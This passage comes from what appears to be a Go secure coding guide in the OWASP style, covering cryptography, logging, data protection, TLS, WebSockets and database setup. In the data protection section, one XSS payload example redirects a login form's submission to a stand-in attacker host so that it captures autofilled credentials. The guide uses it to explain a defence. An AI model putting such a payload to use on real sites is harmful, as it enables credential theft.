the most popular hashing algorithm, but securitywise BLAKE2 is
considered the strongest and most flexible.

Go supplementary cryptography libraries offers both BLAKE2b (or just

BLAKE2) and BLAKE2s implementations: the former is optimized for
64-bit platforms and the latter for 8-bit to 32-bit platforms. If BLAKE2
is unavailable, SHA-256 is the right option.

Please not that slowness is something desired on a cryptographic

hashing algorithm. Computers become faster over time, meaning
that attacker can try more and more potential passwords as years
pass (see Credential Stuffing and Brute-force attacks). To fight back,
the hashing function should be inherently slow, using at least 10,000
iterations.

Whenever you have something that you don't need to know what it
is, but only if it's what it's supposed to be (like checking file integrity
after download), you should use hashing 2

35
 package main

import "fmt"
import "io"
import "crypto/md5"
import "crypto/sha256"
import "golang.org/x/crypto/blake2s"

func main () {
h_md5 := md5.New()
h_sha := sha256.New()
h_blake2s, _ := blake2s.New256(nil)
io.WriteString(h_md5, "Welcome to Go Language Secure Coding Practices")
io.WriteString(h_sha, "Welcome to Go Language Secure Coding Practices")
io.WriteString(h_blake2s, "Welcome to Go Language Secure Coding Practices")
fmt.Printf("MD5 : %x\n", h_md5.Sum(nil))
fmt.Printf("SHA256 : %x\n", h_sha.Sum(nil))
fmt.Printf("Blake2s-256: %x\n", h_blake2s.Sum(nil))
}

The output

MD5 : ea9321d8fb0ec6623319e49a634aad92
SHA256 : ba4939528707d791242d1af175e580c584dc0681af8be2a4604a526e864449f6
Blake2s-256: 1d65fa02df8a149c245e5854d980b38855fd2c78f2924ace9b64e8b21b3f2f82

Note: To run the source code sample you'll need to run $ go get
golang.org/x/crypto/blake2s

On the other hand, encryption turns data into variable length data
using a key

encrypted_data := F(data, key)

Unlike the hash, we can compute data back from encrypted_data by

applying the right decryption function and key:

data := F⁻¹(encrypted_data, key)

Encryption should be used whenever you need to communicate or

store sensitive data, which you or someone else needs to access
later on for further processing. A "simple" encryption use case is the
HTTPS - Hyper Text Transfer Protocol Secure. AES is the de facto
standard when it comes to symmetric key encryption. This algorithm,
similar to many other symmetric ciphers, can be implemented in
different modes. You'll notice in the code sample below, GCM (Galois
Counter Mode) was used, instead of the more popular (in
cryptography code examples, at least) CBC/ECB. The main difference
between GCM and CBC/ECB is the fact that the former is an
authenticated cipher mode, meaning that after the encryption
stage, an authentication tag is added to the ciphertext, which will
then be validated prior to message decryption, ensuring the
message has not been tampered with. In comparison, you have

36
 Public key cryptography or asymmetric cryptography which makes
use of pairs of keys: public and private. Public key cryptography
offers less performance than symmetric key cryptography for most
cases. Therefore, its most common use-case is sharing a symmetric
key between two parties using asymmetric cryptography, so they can
then use the symmetric key to exchange messages encrypted with
symmetric cryptography. Aside from AES, which is 1990's technology,
Go authors have begun to implement and support more modern
symmetric encryption algorithms, which also provide authentication,
for example, chacha20poly1305.

Another interesting package in Go is x/crypto/nacl. This is a

reference to Dr. Daniel J. Bernstein's NaCl library, which is a very
popular modern cryptography library. The nacl/box and
nacl/secretbox in Go are implementations of NaCl's abstractions for
sending encrypted messages for the two most common use-cases:

Sending authenticated, encrypted messages between two

parties using public key cryptography (nacl/box)
Sending authenticated, encrypted messages between two
parties using symmetric (a.k.a secret-key) cryptography

It is very advisable to use one of these abstractions instead of direct

use of AES, if they fit your use-case.

37
 package main

import "fmt"
import "crypto/aes"
import "crypto/cipher"
import "crypto/rand"

func main() {
key := []byte("Encryption Key should be 32 char")
data := []byte("Welcome to Go Language Secure Coding Practices")

block, err := aes.NewCipher(key)

if err != nil {
panic(err.Error())
}

nonce := make([]byte, 12)

if _, err := rand.Read(nonce); err != nil {
panic(err.Error())
}

aesgcm, err := cipher.NewGCM(block)

if err != nil {
panic(err.Error())
}

encrypted_data := aesgcm.Seal(nil, nonce, data, nil)

fmt.Printf("Encrypted: %x\n", encrypted_data)

decrypted_data, err := aesgcm.Open(nil, nonce, encrypted_data, nil)

if err != nil {
panic(err.Error())
}

fmt.Printf("Decrypted: %s\n", decrypted_data)

}

Encrypted: a66bd44db1fac7281c33f6ca40494a320644584d0595e5a0e9a202f8aeb22dae659dc06932
Decrypted: Welcome to Go Language Secure Coding Practices

Please note, you should "establish and utilize a policy and process for
how cryptographic keys will be managed ", protecting "master secrets
from unauthorized access". That being said, your cryptographic keys
shouldn't be hardcoded in the source code (as it is in this example).

Go's crypto package collects common cryptographic constants, but

implementations have their own packages, like the crypto/md5 one.

Most modern cryptographic algorithms have been implemented

under https://godoc.org/golang.org/x/crypto, so developers should
focus on those instead of the implementations in the crypto/*

package.

1 . Rainbow table attacks are not a weakness on the hashing

algorithms. ↩

38
 2. Consider reading the Authentication and Password

Management section about "strong one-way salted hashes" for

credentials. ↩

39
 Pseudo-Random Generators
In OWASP Secure Coding Practices you'll find what seems to be a
really complex guideline: "All random numbers, random file names,
random GUIDs, and random strings should be generated using the
cryptographic module’s approved random number generator when
these random values are intended to be un-guessable", so let's discuss
"random numbers".

Cryptography relies on some randomness, but for the sake of

correctness, what most programming languages provide out-of-the-
box is a pseudo-random number generator: for example, Go's
math/rand is not an exception.

You should carefully read the documentation when it states that

"Top-level functions, such as Float64 and Int, use a default shared
Source that produces a deterministic sequence of values each time
a program is run." (source)

What exactly does that mean? Let's see:

package main

import "fmt"
import "math/rand"

func main() {
fmt.Println("Random Number: ", rand.Intn(1984))
}

Running this program several times will lead exactly to the same
number/sequence, but why?

$ for i in {1..5}; do go run rand.go; done

Random Number: 1825
Random Number: 1825
Random Number: 1825
Random Number: 1825
Random Number: 1825

Because Go's math/rand is a deterministic pseudo-random number

generator. Similar to many others, it uses a source, called a Seed.
This Seed is solely responsible for the randomness of the
deterministic pseudo-random number generator. If it is known or
predictable, the same will happen to generated number sequence.

We could "fix" this example quite easily by using the math/rand Seed
function, getting the expected five different values for each program
execution. But because we're on Cryptographic Practices section, we
should follow to Go's crypto/rand package.

40
 package main

import "fmt"
import "math/big"
import "crypto/rand"

func main() {
rand, err := rand.Int(rand.Reader, big.NewInt(1984))
if err != nil {
panic(err)
}

fmt.Printf("Random Number: %d\n", rand)

}

You may notice that running crypto/rand is slower than math/rand,

but this is expected since the fastest algorithm isn't always the
safest. Crypto's rand is also safer to implement. An example of this is
the fact that you CANNOT seed crypto/rand, since the library uses
OS-randomness for this, preventing developer misuse.

$ for i in {1..5}; do go run rand-safe.go; done

Random Number: 277
Random Number: 1572
Random Number: 1793
Random Number: 1328
Random Number: 1378

If you're curious about how this can be exploited just think what
happens if your application creates a default password on user
signup, by computing the hash of a pseudo-random number
generated with Go's math/rand, as shown in the first example.

Yes, you guessed it, you would be able to predict the user's
password!

41
 Error Handling and Logging
Error handling and logging are essential parts of application and
infrastructure protection. When Error Handling is mentioned, it is
referring to the capture of any errors in our application logic that
may cause the system to crash, unless handled correctly. On the
other hand, logging highlights all the operations and requests that
occurred on our system. Logging not only allows the identification of
all operations that have occurred, but it also helps determine what
actions need to be taken to protect the system. Since attackers
often attempt to remove all traces of their action by deleting logs,
it's critical that logs are centralized.

The scope of this section covers the following:

Error Handling
Logging

42
 Error Handling
In Go, there is a built-in error type. The different values of error type
indicate an abnormal state. Usually in Go, if the error value is not
nil then an error has occurred. It must be dealt with in order to
allow the application to recover from that state without crashing.

A simple example taken from the Go blog follows:

if err != nil {
// handle the error
}

Not only can the built-in errors be used, we can also specify our own
error types. This can be achieved by using the errors.New function.
Example:

{...}
if f < 0 {
return 0, errors.New("math: square root of negative number")
}
//If an error has occurred print it
if err != nil {
fmt.Println(err)
}
{...}

If we need to format the string containing the invalid argument to

see what caused the error, the Errorf function in the fmt package
allows us to do this.

{...}
if f < 0 {
return 0, fmt.Errorf("math: square root of negative number %g", f)
}
{...}

When dealing with error logs, developers should ensure no sensitive

information is disclosed in the error responses, as well as guarantee
that no error handlers leak information (e.g. debugging, or stack
trace information).

In Go, there are additional error handling functions, these functions

are panic , recover and defer . When an application state is panic its
normal execution is interrupted, any defer statements are executed,
and then the function returns to its caller. recover is usually used
inside defer statements and allows the application to regain control
over a panicking routine, and return to normal execution. The
following snippet, based on the Go documentation explains the
execution flow:

43
 func main () {
start()
fmt.Println("Returned normally from start().")
}

func start () {
defer func () {
if r := recover(); r != nil {
fmt.Println("Recovered in start()")
}
}()
fmt.Println("Called start()")
part2(0)
fmt.Println("Returned normally from part2().")
}

func part2 (i int) {

if i > 0 {
fmt.Println("Panicking in part2()!")
panic(fmt.Sprintf("%v", i))
}
defer fmt.Println("Defer in part2()")
fmt.Println("Executing part2()")
part2(i + 1)
}

Output:

Called start()
Executing part2()
Panicking in part2()!
Defer in part2()
Recovered in start()
Returned normally from start().

By examining the output, we can see how Go can handle panic

situations and recover from them, allowing the application to resume

its normal state. These functions allow for a graceful recovery from
an otherwise unrecoverable failure.

It is worth noting that defer usages also include Mutex Unlocking , or

loading content after the surrounding function has executed (e.g.
footer).

In the log package there is also a log.Fatal . Fatal level is effectively

logging the message, then calling os.Exit(1) . Which means:

Defer statements will not be executed.

Buffers will not be flushed.
Temporary files and directories are not removed.

Considering all the previously mentioned points, we can see how

log.Fatal differs from Panic and why it should be used carefully. Some
examples of the possible usage of log.Fatal are:

Set up logging and check whether we have a healthy

environment and parameters. If we don't, then there's no need
to execute our main().

44
 An error that should never occur and that we know that it's
unrecoverable.
If a non-interactive process encounters an error and cannot
complete, there is no way to notify the user about this error. It's
best to stop the execution before additional problems can
emerge from this failure.

To demonstrate, here's an example of an initialization failure:

func init(i int) {

...
//This is just to deliberately crash the function.
if i < 2 {
fmt.Printf("Var %d - initialized\n", i)
} else {
//This was never supposed to happen, so we'll terminate our program.
log.Fatal("Init failure - Terminating.")
}
}

func main() {
i := 1
for i < 3 {
init(i)
i++
}
fmt.Println("Initialized all variables successfully")

It's important to assure that in case of an error associated with the

security controls, its access is denied by default.

45
 Logging
Logging should always be handled by the application and should not
rely on a server configuration.

All logging should be implemented by a master routine on a trusted

system, and the developers should also ensure no sensitive data is
included in the logs (e.g. passwords, session information, system
details, etc.), nor is there any debugging or stack trace information.
Additionally, logging should cover both successful and unsuccessful
security events, with an emphasis on important log event data.

Important event data most commonly refers to all:

Input validation failures.

Authentication attempts, especially failures.
Access control failures.
Apparent tampering events, including unexpected changes to
state data.
Attempts to connect with invalid or expired session tokens.
System exceptions.
Administrative functions, including changes to security
configuration settings.
Backend TLS connection failures and cryptographic module
failures.

Here's a simple log example which illustrates this:

func main() {
var buf bytes.Buffer
var RoleLevel int

logger := log.New(&buf, "logger: ", log.Lshortfile)

fmt.Println("Please enter your user level.")

fmt.Scanf("%d", &RoleLevel) //<--- example

switch RoleLevel {
case 1:
// Log successful login
logger.Printf("Login successful.")
fmt.Print(&buf)
case 2:
// Log unsuccessful Login
logger.Printf("Login unsuccessful - Insufficient access level.")
fmt.Print(&buf)
default:
// Unspecified error
logger.Print("Login error.")
fmt.Print(&buf)
}
}

46
 It's also good practice to implement generic error messages, or
custom error pages, as a way to make sure that no information is
leaked when an error occurs.

Go's log package, as per the documentation, "implements simple

logging". Some common and important features are missing, such as
leveled logging (e.g. debug , info , warn , error , fatal , panic ) and
formatters support (e.g. logstash). These are two important features
to make logs usable (e.g. for integration with a Security Information
and Event Management system).

Most, if not all third-party logging packages offer these and other
features. The ones below are some of the most popular third-party
logging packages:

Logrus - https://github.com/Sirupsen/logrus
glog - https://github.com/golang/glog
loggo - https://github.com/juju/loggo

Here's an important note regarding Go's log package: Fatal and

Panic functions have different behaviors after logging: Panic
functions call panic but Fatal functions call os.Exit(1) that may
terminate the program preventing deferred statements to
run, buffers to be flushed, and/or temporary data to be
removed.

From the perspective of log access, only authorized individuals

should have access to the logs. Developers should also make sure
that a mechanism that allows for log analysis is set in place, as well
as guarantee that no untrusted data will be executed as code in the
intended log viewing software or interface.

Regarding allocated memory cleanup, Go has a built-in Garbage

Collector for this very purpose.

As a final step to guarantee log validity and integrity, a cryptographic

hash function should be used as an additional step to ensure no log
tampering has taken place.

47
 {...}
// Get our known Log checksum from checksum file.
logChecksum, err := ioutil.ReadFile("log/checksum")
str := string(logChecksum) // convert content to a 'string'

// Compute our current log's SHA256 hash

b, err := ComputeSHA256("log/log")
if err != nil {
fmt.Printf("Err: %v", err)
} else {
hash := hex.EncodeToString(b)
// Compare our calculated hash with our stored hash
if str == hash {
// Ok the checksums match.
fmt.Println("Log integrity OK.")
} else {
// The file integrity has been compromised...
fmt.Println("File Tampering detected.")
}
}
{...}

Note: The ComputeSHA256() function calculates a file's SHA256. It's also

important to note that the log-file hashes must be stored in a safe
place, and compared with the current log hash to verify integrity
before any updates to the log. Working demo available in the
repository.

48
 Data Protection
Nowadays, one of the most important things in security in general is
data protection. You don't want something like:

Simply put, data from your web application needs to be protected.

Therefore in this section, we will take a look at the different ways to
secure it.

One of the first things you should tend to is creating and

implementing the right privileges for each user, and restrict them to
only the functions they really need.

For example, consider a simple online store with the following user
roles:

Sales user: Allowed to only view a catalog

Marketing user: Allowed to check statistics
Developer: Allowed to modify pages and web application options

Also, in the system configuration (aka webserver), you should define

the right permissions.

The primary thing to perform is to define the right role for each user -
web or system.

Role separation and access controls are further discussed in the

Access Control section.

Remove sensitive information

49
 Temporary and cache files which contain sensitive information should
be removed as soon as they're not needed. If you still need some of
them, move them to protected areas or encrypt them.

Comments
Sometimes developers leave comments like To-do lists in the source-
code, and sometimes, in the worst case scenario, developers may
leave credentials.

// Secret API endpoint - /api/mytoken?callback=myToken

fmt.Println("Just a random code")

In the above example, the developer has an endpoint in a comment

which, if not well protected, could be used by a malicious user.

URL
Passing sensitive information using the HTTP GET method leaves the
web application vulnerable because:

1. Data could be intercepted if not using HTTPS by MITM attacks.

2. Browser history stores the user's information. If the URL has
session IDs, pins or tokens that don't expire (or have low
entropy), they can be stolen.
3. Search engines store URLs as they are found in pages
4. HTTP servers (e.g. Apache, Nginx), usually write the requested
URL, including the query string, to unencrypted log files (e.g.
access_log )

req, _ := http.NewRequest("GET", "http://mycompany.com/api/mytoken?api_key=000s3cr3t0

If your web application tries to get information from a third-party

website using your api_key , it could be stolen if anyone is listening
within your network or if you're using a Proxy. This is due to the lack
of HTTPS.

Also note that parameters being passed through GET (aka query
string) will be stored in clear, in the browser history and the server's
access log regardless whether you're using HTTP or HTTPS.

HTTPS is the way to go to prevent external parties other than the

client and the server, to capture exchanged data. Whenever
possible sensitive data such as the api_key in the example, should
go in the request body or some header. The same way, whenever
possible use one-time only session IDs or tokens.

Information is power

50
 You should always remove application and system documentation on
the production environment. Some documents could disclose
versions, or even functions that could be used to attack your web
application (e.g. Readme, Changelog, etc.).

As a developer, you should allow the user to remove sensitive

information that is no longer used. For example, if the user has
expired credit cards on his account and wants to remove them, your
web application should allow it.

All of the information that is no longer needed must be deleted from

the application.

Encryption is the key

Every piece of highly-sensitive information should be encrypted in
your web application. Use the military-grade encryption available in
Go. For more information, see the Cryptographic Practices section.

If you need to implement your code elsewhere, just build and share
the binary, since there's no bulletproof solution to prevent reverse
engineering.

Getting different permissions for accessing the code and limiting the
access for your source-code, is the best approach.

Do not store passwords, connection strings (see example for how to

secure database connection strings on Database Security section),
or other sensitive information in clear text or in any non-
cryptographically secure manner, both on the client and server
sides. This includes embedding in insecure formats (e.g. Adobe flash
or compiled code).

Here's a small example of encryption in Go using an external

package golang.org/x/crypto/nacl/secretbox :

51
 // Load your secret key from a safe place and reuse it across multiple
// Seal calls. (Obviously don't use this example key for anything
// real.) If you want to convert a passphrase to a key, use a suitable
// package like bcrypt or scrypt.
secretKeyBytes, err := hex.DecodeString("6368616e676520746869732070617373776f72642074
if err != nil {
panic(err)
}

var secretKey [32]byte

copy(secretKey[:], secretKeyBytes)

// You must use a different nonce for each message you encrypt with the
// same key. Since the nonce here is 192 bits long, a random value
// provides a sufficiently small probability of repeats.
var nonce [24]byte
if _, err := rand.Read(nonce[:]); err != nil {
panic(err)
}

// This encrypts "hello world" and appends the result to the nonce.
encrypted := secretbox.Seal(nonce[:], []byte("hello world"), &nonce, &secretKey)

// When you decrypt, you must use the same nonce and key you used to
// encrypt the message. One way to achieve this is to store the nonce
// alongside the encrypted message. Above, we stored the nonce in the first
// 24 bytes of the encrypted text.
var decryptNonce [24]byte
copy(decryptNonce[:], encrypted[:24])
decrypted, ok := secretbox.Open([]byte{}, encrypted[24:], &decryptNonce, &secretKey)
if !ok {
panic("decryption error")
}

fmt.Println(string(decrypted))

The output will be:

hello world

Disable what you don't need

Another simple and efficient way to mitigate attack vectors is to
guarantee that any unnecessary applications or services are
disabled in your systems.

Autocomplete
According to Mozilla documentation, you can disable autocompletion
in the entire form by using:

<form method="post" action="/form" autocomplete="off">

Or a specific form element:

52
 <input type="text" id="cc" name="cc" autocomplete="off">

This is especially useful for disabling autocomplete on login forms.

Imagine a case where a XSS vector is present in the login page. If
the malicious user creates a payload like:

window.setTimeout(function() {
document.forms[0].action = 'http://attacker_site.com';
document.forms[0].submit();
}
), 10000);

It will send the autocomplete form fields to the attacker_site.com .

Cache
Cache control in pages that contain sensitive information should be
disabled.

This can be achieved by setting the corresponding header flags, as

shown in the following snippet:

w.Header().Set("Cache-Control", "no-cache, no-store")

w.Header().Set("Pragma", "no-cache")

The no-cache value tells the browser to revalidate with the server
before using any cached response. It does not tell the browser to
not cache.

On the other hand, the no-store value is really about disabling

caching overall, and must not store any part of the request or
response.

The Pragma header is there to support HTTP/1.0 requests.

53
 Communication Security
When approaching communication security, developers should be
certain that the channels used for communication are secure. Types
of communication include server-client, server-database, as well as
all backend communications. These must be encrypted to guarantee
data integrity, and to protect against common attacks related to
communication security. Failure to secure these channels allows
known attacks like MITM, which allows attacker to intercept and read
the traffic in these channels.

The scope of this section covers the following communication

channels:

HTTP/HTTPS
Websockets

54
 HTTP/TLS
TLS/SSL is a cryptographic protocol that allows encryption over
otherwise insecure communication channels. The most common
usage of TLS/SSL is to provide secure HTTP communication, also
known as HTTPS . The protocol ensures that the following properties
apply to the communication channel:

Privacy
Authentication
Data integrity

Its implementation in Go is in the crypto/tls package. In this section

we will focus on the Go implementation and usage. Although the
theoretical part of the protocol design and its cryptographic
practices are beyond the scope of this article, additional information
is available on the Cryptography Practices section of this document.

The following is a simple example of HTTP with TLS:

import "log"
import "net/http"

func main() {
http.HandleFunc("/", func (w http.ResponseWriter, req *http.Request) {
w.Write([]byte("This is an example server.\n"))
})

// yourCert.pem - path to your server certificate in PEM format

// yourKey.pem - path to your server private key in PEM format

log.Fatal(http.ListenAndServeTLS(":443", "yourCert.pem", "yourKey.pem", nil))

}

This is a simple out-of-the-box implementation of SSL in a webserver

using Go. It's worth noting that this example gets an "A" grade on
SSL Labs.

To further improve the communication security, the following flag

could be added to the header, in order to enforce HSTS (HTTP Strict
Transport Security):

w.Header().Add("Strict-Transport-Security", "max-age=63072000; includeSubDomains")

Go's TLS implementation is in the crypto/tls package. When using

TLS, make sure that a single standard TLS implementation is used,
and that it's appropriately configured.

Here's an example of implementing SNI (Server Name Indication)

based on the previous example:

55
 ...
type Certificates struct {
CertFile string
KeyFile string
}

func main() {
httpsServer := &http.Server{
Addr: ":8080",
}

var certs []Certificates

certs = append(certs, Certificates{
CertFile: "../etc/yourSite.pem", //Your site certificate key
KeyFile: "../etc/yourSite.key", //Your site private key
})

config := &tls.Config{}
var err error
config.Certificates = make([]tls.Certificate, len(certs))
for i, v := range certs {
config.Certificates[i], err = tls.LoadX509KeyPair(v.CertFile, v.KeyFile)
}

conn, err := net.Listen("tcp", ":8080")

tlsListener := tls.NewListener(conn, config)

httpsServer.Serve(tlsListener)
fmt.Println("Listening on port 8080...")
}

It should be noted that when using TLS, the certificates should be

valid, have the correct domain name, should not be expired, and
should be installed with intermediate certificates when required as
recommended in the OWASP SCP Quick Reference Guide.

Important: Invalid TLS certificates should always be rejected. Make

sure that the InsecureSkipVerify configuration is not set to true in a
production environment.
The following snippet is an example of how to set this:

config := &tls.Config{InsecureSkipVerify: false}

Use the correct hostname in order to set the server name:

config := &tls.Config{ServerName: "yourHostname"}

Another known attack against TLS to be aware of is called POODLE. It

is related to TLS connection fallback when the client does not
support the server's cipher. This allows the connection to be
downgraded to a vulnerable cipher.

By default, Go disables SSLv3, and the cipher's minimum version and

maximum version can be set with the following configurations:

56
 // MinVersion contains the minimum SSL/TLS version that is acceptable.
// If zero, then TLS 1.0 is taken as the minimum.
MinVersion uint16

// MaxVersion contains the maximum SSL/TLS version that is acceptable.

// If zero, then the maximum version supported by this package is used,
// which is currently TLS 1.2.
MaxVersion uint16

The safety of the used ciphers can be checked with SSL Labs.

An additional flag that is commonly used to mitigate downgrade

attacks is the TLS_FALLBACK_SCSV as defined in RFC7507. In Go, there is
no fallback.

Quote from Google developer Adam Langley:

The Go client doesn't do fallback so it doesn't need to send

TLS_FALLBACK_SCSV.

Another attack known as CRIME affects TLS sessions that use

compression. Compression is part of the core protocol, but it's
optional. Programs written in the Go programming language are
likely not vulnerable, simply because there is currently no
compression mechanism supported by crypto/tls . An important note
to keep in mind is if a Go wrapper is used for an external security
library, the application may be vulnerable.

Another part of TLS is related to the connection renegotiation. To

guarantee no insecure connections are established, use the
GetClientCertificate and its associated error code in case the
handshake is aborted. The error code can be captured to prevent
an insecure channel from being used.

All requests should also be encoded to a pre-determined character

encoding such as UTF-8. This can be set in the header:

w.Header().Set("Content-Type", "Desired Content Type; charset=utf-8")

Another important aspect when handling HTTP connections is to

verify that the HTTP header does not contain any sensitive
information when accessing external sites. Since the connection
could be insecure, the HTTP header may leak information.

57
 Image Credits : John Mitchell

58
 WEBSOCKETS
WebSocket is a new browser capability developed for HTML 5, which
enables fully interactive applications. With WebSockets, both the
browser and the server can send asynchronous messages over a
single TCP socket, without resorting to long polling or comet.

Essentially, a WebSocket is a standard bidirectional TCP socket

between the client and the server. The socket starts out as a regular
HTTP connection, and then "Upgrades" to a TCP socket after a HTTP
handshake. Either side can send data after the handshake.

Origin Header
The Origin header in the HTTP WebSocket handshake is used to
guarantee that the connection accepted by the WebSocket is from a
trusted origin domain. Failure to enforce can lead to Cross Site
Request Forgery (CSRF).

It is the server’s responsibility to verify the Origin header in the initial

HTTP WebSocket handshake. If the server does not validate the
origin header in the initial WebSocket handshake, the WebSocket
server may accept connections from any origin.

The following example uses an Origin header check, which prevents

attackers from performing CSWSH (Cross-Site WebSocket Hijacking).

The application should validate the Host and the Origin to make
sure the request's Origin is the trusted Host , rejecting the
connection if not.

A simple check is demonstrated in the following snippet:

//Compare our origin with Host and act accordingly

if r.Header.Get("Origin") != "http://"+r.Host {
http.Error(w, "Origin not allowed", 403)
return
} else {
websocket.Handler(EchoHandler).ServeHTTP(w, r)
}

Confidentiality and Integrity

59
 The WebSocket communication channel can be established over
unencrypted TCP or over encrypted TLS.

When unencrypted WebSockets are used, the URI scheme is ws://

and its default port is 80 . If using TLS WebSockets, the URI scheme
is wss:// and the default port is 443 .

When referring to WebSockets, we must consider the original

connection and whether it uses TLS or if it is being sent
unencrypted.

In this section we will show the information being sent when the
connection upgrades from HTTP to WebSocket and the risks it poses
if not handled correctly. In the first example, we see a regular HTTP
connection being upgraded to a WebSocket connection:

Notice that the header contains our cookie for the session. To
ensure no sensitive information is leaked, TLS should be used when
upgrading our connection, as shown in the following image:

In the latter example, our connection upgrade request is using SSL,

as well as our WebSocket:

Authentication and Authorization

WebSockets do not handle Authentication or Authorization, which
means that mechanisms such as cookies, HTTP authentication or
TLS authentication must be used to ensure security. More detailed
information regarding this can be found in the Authentication and
the Access Control parts of this document.

Input Sanitization
As with any data originating from untrusted sources, the data should
be properly sanitized and encoded. For a more detailed coverage of
these topics, see the Sanitization and the Output Encoding parts of this
guide.

60
 System Configuration
Keeping things updated is imperative in security. With that in mind,
developers should keep Go updated to the latest version, as well as
external packages and frameworks used by the web application.

Regarding HTTP requests in Go, you need to know that any incoming
server requests will be done either in HTTP/1.1 or HTTP/2. If the
request is made using:

req, _ := http.NewRequest("POST", url, buffer)

req.Proto = "HTTP/1.0"

Proto will be ignored and the request will be made using HTTP/1.1.

Directory listings
If a developer forgets to disable directory listings (OWASP also calls it
Directory Indexing), an attacker could check for sensitive files
navigating through directories.

If you run a Go web server application, you should also be careful

with this:

http.ListenAndServe(":8080", http.FileServer(http.Dir("/tmp/static")))

If you call localhost:8080 , it will open your index.html. But imagine that
you have a test directory that has a sensitive file inside. What
happen next?

Why does this happen? Go tries to find an index.html inside the

directory, and if it doesn't exist, it will show the directory listing.

To fix this, you have three possible solutions:

Disable directory listings in your web application

Restrict access to unnecessary directories and files
Create an index file for each directory

For the purpose of this guide, we'll describe a way to disable

directory listing. First, a function was created that checks the path
being requested and if it can be shown or not.

61
 type justFilesFilesystem struct {
fs http.FileSystem
}

func (fs justFilesFilesystem) Open(name string) (http.File, error) {

f, err := fs.fs.Open(name)
if err != nil {
return nil, err
}
return neuteredReaddirFile{f}, nil
}

Then we simply use it in our http.ListenAndServe as follows:

fs := justFilesFilesystem{http.Dir("tmp/static/")}
http.ListenAndServe(":8080", http.StripPrefix("/tmp/static", http.FileServer(fs)))

Note that our application is only allowing the tmp/static/ path to be

displayed. When we try to access our protected file directly, we get
this:

And if we try to list our test/ folder to get a directory listing, we are
also shown the same error.

Remove/Disable what you don't

need
On production environments, remove all functionalities and files that
you don't need. Any test code and functions not needed on the final
version (ready to go to production), should stay on the developer
layer, and not in a location everyone can see - aka public.

HTTP Response Headers should also be checked. Remove the

headers which disclose sensitive information like:

OS version
Webserver version
Framework or programming language version

62
 This information can be used by attackers to check for vulnerabilities
in the versions you disclose, therefore, it is advised to remove them.

By default, this is not disclosed by Go. However, if you use any type
of external package or framework, don't forget to double-check it.

Try to find something like:

w.Header().Set("X-Request-With", "Go Vulnerable Framework 1.2")

You can search the code for the HTTP header that is being disclosed
and remove it.

Also you can define which HTTP methods the web application will
support. If you only use/accept POST and GET, you can implement
CORS and use the following code:

w.Header().Set("Access-Control-Allow-Methods", "POST, GET")

Don't worry about disabling things like WebDAV. If you want to

implement a WebDAV server, you need to import a package.

Implement better security

Keep security in mind and follow the least privilege principle on the
web server, processes, and service accounts.

Take care of your web application error handling. When exceptions

occur, fail securely. You can check Error Handling and Logging
section in this guide for more information regarding this topic.

Prevent disclosure of the directory structure on your robots.txt file.

robots.txt is a direction file and NOT a security control. Adopt a
white-list approach as follows:

User-agent: *
Allow: /sitemap.xml
Allow: /index
Allow: /contact
Allow: /aboutus
Disallow: /

The example above will allow any user-agent or bot to index those
specific pages, and disallow the rest. This way you don't disclose
sensitive folders or pages - like admin paths or other important data.

63
 Isolate the development environment from the production network.
Provide the right access to developers and test groups, and better
yet, create additional security layers to protect them. In most cases,
development environments are easier targets to attacks.

Finally, but still very important, is to have a software change control

system to manage and record changes in your web application code
(development and production environments). There are numerous
Github host-yourself clones that can be used for this purpose.

Asset Management System:

Although an Asset Management System is not a Go specific issue, a short
overview of the concept and its practices are described in the
following section.

Asset Management encompasses the set of activities that an

organization performs in order to achieve the optimum performance
of their assets in line with its objectives, as well as the evaluation of
the required level of security of each asset. It should be noted that
in this section, when we refer to Assets, we are not only talking about
the system's components but also its software.

The steps involved in the implementation of this system are as

follows:

1. Establish the importance of information security in business.

2. Define the scope for AMS.
3. Define the security policy.
4. Establish the security organization structure.
5. Identify and classify the assets.
6. Identify and assess the risks
7. Plan for risk management.
8. Implement risk mitigation strategy.
9. Write the statement of applicability.
10. Train the staff and create security awareness.
11. Monitor and review the AMS performance.
12. Maintain the AMS and ensure continual improvement.

A more in-depth analysis of this implementation can be found here.

64
 Database Security
This section on OWASP SCP will cover all of the database security
issues and actions developers and DBAs need to take when using
databases in their web applications.

Go doesn't have database drivers. Instead there is a core interface

driver on the database/sql package. This means that you need to
register your SQL driver (eg: MariaDB, sqlite3) when using database
connections.

The best practice

Before implementing your database in Go, you should take care of
some configurations that we'll cover next:

Secure database server installation 1.

Change/set a password for root account(s).
Remove the root accounts that are accessible from outside
the localhost.
Remove any anonymous-user accounts.
Remove any existing test database.
Remove any unnecessary stored procedures, utility packages,
unnecessary services, vendor content (e.g. sample schemas).
Install the minimum set of features and options required for your
database to work with Go.
Disable any default accounts that are not required on your web
application to connect to the database.

Also, because it's important to validate input, and encode output

on the database, be sure to investigate the Input Validation and
Output Encoding sections of this guide.

This basically can be adapted to any programming language when

using databases.

1 . MySQL/MariaDB have a program for this:

1, 2 ↩
mysql_secure_installation

65
 Database Connections

The concept
sql.Open does not return a database connection but *DB :a
database connection pool. When a database operation is about to
run (e.g. query), an available connection is taken from the pool,
which should be returned to the pool as soon as the operation
completes.

Remember that a database connection will be opened only when first

required to perform a database operation, such as a query. sql.Open

doesn't even test database connectivity: wrong database credentials

will trigger an error at the first database operation execution time.

Looking for a rule of thumb , the context variant of database/sql

interface (e.g. QueryContext() ) should always be used and provided

with the appropriate Context.

From the official Go documentation "Package context defines the

Context type, which carries deadlines, cancelation signals, and other
request-scoped values across API boundaries and between processes.".
At a database level, when the context is canceled, a transaction will
be rolled back if not committed, a Rows (from QueryContext) will be
closed and any resources will be returned.

66
 package main

import (
"context"
"database/sql"
"fmt"
"log"
"time"

_ "github.com/go-sql-driver/mysql"
)

type program struct {

base context.Context
cancel func()
db *sql.DB
}

func main() {
db, err := sql.Open("mysql", "user:@/cxdb")
if err != nil {
log.Fatal(err)
}
p := &program{db: db}
p.base, p.cancel = context.WithCancel(context.Background())

// Wait for program termination request, cancel base context on request.

go func() {
osSignal := // ...
select {
case <-p.base.Done():
case <-osSignal:
p.cancel()
}
// Optionally wait for N milliseconds before calling os.Exit.
}()

err = p.doOperation()
if err != nil {
log.Fatal(err)
}
}

func (p *program) doOperation() error {

ctx, cancel := context.WithTimeout(p.base, 10 * time.Second)
defer cancel()

var version string

